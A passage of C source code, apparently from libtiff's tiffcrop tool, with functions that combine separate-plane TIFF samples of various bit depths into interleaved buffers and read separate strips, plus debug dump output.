action[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples8bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint8)-1 >> ( 8 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (8 - src_bit - bps); /* load up next sample from each plane */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; strcpy (action, "Flush"); } else { buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Match bits", matchbits); dump_byte (dumpfile, format, "Src bits", *src); dump_byte (dumpfile, format, "Buff1 bits", buff1); dump_byte (dumpfile, format, "Buff2 bits", buff2); dump_info (dumpfile, format, "","%s", action); } } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", buff1); } } if ((dumpfile != NULL) && (level >= 2)) { dump_info (dumpfile, format, "combineSeparateSamples8bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples8bits */ static int combineSeparateSamples16bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0 */; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples16bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint16)-1 >> (16 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (16 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_short (dumpfile, format, "Match bits", matchbits); dump_data (dumpfile, format, "Src bits", src, 2); dump_short (dumpfile, format, "Buff1 bits", buff1); dump_short (dumpfile, format, "Buff2 bits", buff2); dump_byte (dumpfile, format, "Write byte", bytebuff); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", bytebuff); } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples16bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples16bits */ static int combineSeparateSamples24bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0 */; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples24bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint32)-1 >> ( 32 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (32 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples24bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples24bits */ static int combineSeparateSamples32bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0, shift_width = 0 */; uint32 src_rowsize, dst_rowsize, bit_offset, src_offset; uint32 src_byte = 0, src_bit = 0; uint32 row, col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples32bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint64)-1 >> ( 64 - bps); /* shift_width = ((bps + 7) / 8) + 1; */ for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (64 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Sample %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_wide (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 8); dump_wide (dumpfile, format, "Buff1 bits ", buff1); dump_wide (dumpfile, format, "Buff2 bits ", buff2); dump_info (dumpfile, format, "", "Ready bits: %d, %s", ready_bits, action); } } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples32bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out); } } return (0); } /* end combineSeparateSamples32bits */ static int combineSeparateTileSamplesBytes (unsigned char *srcbuffs[], unsigned char *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int i, bytes_per_sample; uint32 row, col, col_offset, src_rowsize, dst_rowsize, src_offset; unsigned char *src; unsigned char *dst; tsample_t s; src = srcbuffs[0]; dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamplesBytes","Invalid buffer address"); return (1); } bytes_per_sample = (bps + 7) / 8; src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = imagewidth * bytes_per_sample * spp; for (row = 0; row < rows; row++) { if ((dumpfile != NULL) && (level == 2)) { for (s = 0; s < spp; s++) { dump_info (dumpfile, format, "combineSeparateTileSamplesBytes","Input data, Sample %d", s); dump_buffer(dumpfile, format, 1, cols, row, srcbuffs[s] + (row * src_rowsize)); } } dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; #ifdef DEVELMODE TIFFError("","Tile row %4d, Src offset %6d Dst offset %6d", row, src_offset, dst - out); #endif for (col = 0; col < cols; col++) { col_offset = src_offset + (col * (bps / 8)); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = srcbuffs[s] + col_offset; for (i = 0; i < bytes_per_sample; i++) *(dst + i) = *(src + i); dst += bytes_per_sample; } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamplesBytes","Output data, combined samples"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamplesBytes */ static int combineSeparateTileSamples8bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize, src_offset; uint32 bit_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples8bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint8)-1 >> ( 8 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (8 - src_bit - bps); /* load up next sample from each plane */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; strcpy (action, "Flush"); } else { buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Match bits", matchbits); dump_byte (dumpfile, format, "Src bits", *src); dump_byte (dumpfile, format, "Buff1 bits", buff1); dump_byte (dumpfile, format, "Buff2 bits", buff2); dump_info (dumpfile, format, "","%s", action); } } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", buff1); } } if ((dumpfile != NULL) && (level >= 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples8bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples8bits */ static int combineSeparateTileSamples16bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples16bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint16)-1 >> (16 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (16 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_short (dumpfile, format, "Match bits", matchbits); dump_data (dumpfile, format, "Src bits", src, 2); dump_short (dumpfile, format, "Buff1 bits", buff1); dump_short (dumpfile, format, "Buff2 bits", buff2); dump_byte (dumpfile, format, "Write byte", bytebuff); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", bytebuff); } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples16bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples16bits */ static int combineSeparateTileSamples24bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples24bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint32)-1 >> ( 32 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (32 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples24bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples24bits */ static int combineSeparateTileSamples32bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, shift_width = 0 */; uint32 src_rowsize, dst_rowsize, bit_offset, src_offset; uint32 src_byte = 0, src_bit = 0; uint32 row, col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples32bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint64)-1 >> ( 64 - bps); /* shift_width = ((bps + 7) / 8) + 1; */ for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (64 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Sample %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_wide (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 8); dump_wide (dumpfile, format, "Buff1 bits ", buff1); dump_wide (dumpfile, format, "Buff2 bits ", buff2); dump_info (dumpfile, format, "", "Ready bits: %d, %s", ready_bits, action); } } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples32bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out); } } return (0); } /* end combineSeparateTileSamples32bits */ static int readSeparateStripsIntoBuffer (TIFF *in, uint8 *obuf, uint32 length, uint32 width, uint16 spp, struct dump_opts *dump) { int i, j, bytes_per_sample, bytes_per_pixel, shift_width, result = 1; int32 bytes_read = 0; uint16 bps, nstrips, planar, strips_per_sample; uint32 src_rowsize, dst_rowsize, rows_processed, rps; uint32 rows_this_strip = 0; tsample_t s; tstrip_t strip; tsize_t scanlinesize = TIFFScanlineSize(in); tsize_t stripsize = TIFFStripSize(in); unsigned char *srcbuffs[MAX_SAMPLES]; unsigned char *buff = NULL; unsigned char *dst = NULL; if (obuf == NULL) { TIFFError("readSeparateStripsIntoBuffer","Invalid buffer argument"); return (0); } memset (srcbuffs, '\0', sizeof(srcbuffs)); TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bps); TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &planar); TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps); if (rps > length) rps = length; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; src_rowsize = ((bps * width) + 7) / 8; dst_rowsize = ((bps * width * spp) + 7) / 8; dst = obuf; if ((dump->infile != NULL) && (dump->level == 3)) { dump_info (dump->infile, dump->format, "", "Image width %d, length %d, Scanline size, %4d bytes", width, length, scanlinesize); dump_info (dump->infile, dump->format, "", "Bits per sample %d, Samples per pixel %d, Shift width %d", bps, spp, shift_width); } /* Libtiff seems to assume/require that data for separate planes are * written one complete plane after another and not interleaved in any way. * Multiple scanlines and possibly strips of the same plane must be * written before data for any other plane. */ nstrips = TIFFNumberOfStrips(in); strips_per_sample = nstrips /spp; for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { srcbuffs[s] = NULL; buff = _TIFFmalloc(stripsize); if (!buff) { TIFFError ("readSeparateStripsIntoBuffer", "Unable to allocate strip read buffer for sample %d", s); for (i = 0; i < s; i++) _TIFFfree (srcbuffs[i]); return 0; } srcbuffs[s] = buff; } rows_processed = 0; for (j = 0; (j < strips_per_sample) && (result == 1); j++) { for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { buff = srcbuffs[s]; strip = (s * strips_per_sample) + j; bytes_read = TIFFReadEncodedStrip (in, strip, buff, stripsize); rows_this_strip = bytes_read / src_rowsize; if (bytes_read < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read strip %lu for sample %d", (unsigned long) strip, s + 1); result = 0; break; } #ifdef DEVELMODE TIFFError("", "Strip %2d, read %5d bytes for %4d scanlines, shift width %d", strip, bytes_read, rows_this_strip, shift_width); #endif } if (rps > rows_this_strip) rps = rows_this_strip; dst = obuf + (dst_rowsize * rows_processed); if ((bps % 8) == 0) { if (combineSeparateSamplesBytes (srcbuffs, dst, 